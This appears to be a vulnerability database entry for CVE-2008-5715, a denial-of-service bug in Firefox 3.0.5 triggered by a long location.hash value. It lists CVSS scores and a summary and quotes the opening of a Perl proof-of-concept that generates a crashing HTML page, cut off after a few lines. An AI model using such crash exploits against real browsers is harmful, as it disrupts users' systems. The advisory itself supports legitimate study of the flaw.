5
CVSSv2

CVE-2008-5715

Published: 24/12/2008 Updated: 11/10/2018
CVSS v2 Base Score: 5 | Impact Score: 2.9 | Exploitability Score: 10
VMScore: 505
Vector: AV:N/AC:L/Au:N/C:N/I:N/A:P

Vulnerability Summary

Mozilla Firefox 3.0.5 on Windows Vista allows remote malicious users to cause a denial of service (application crash) via JavaScript code with a long string value for the hash property (aka location.hash). NOTE: it was later reported that earlier versions are also affected, and that the impact is CPU consumption and application hang in unspecified circumstances perhaps involving other platforms.

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mozilla firefox 3.0.5

Exploits

#!/usr/bin/perl # mzff_lhash_dospl # Mozilla Firefox 305 locationhash Denial of Service Exploit # Jeremy Brown [0xjbrown41@gmailcom/jbrownsecblogspotcom] # Crash on Vista, play with it on XP $filename = $ARGV[0]; if(!defined($filename)) { print "Usage: $0 <filenamehtml>\n\n"; } $head = "<html>" "\n" "<script type ...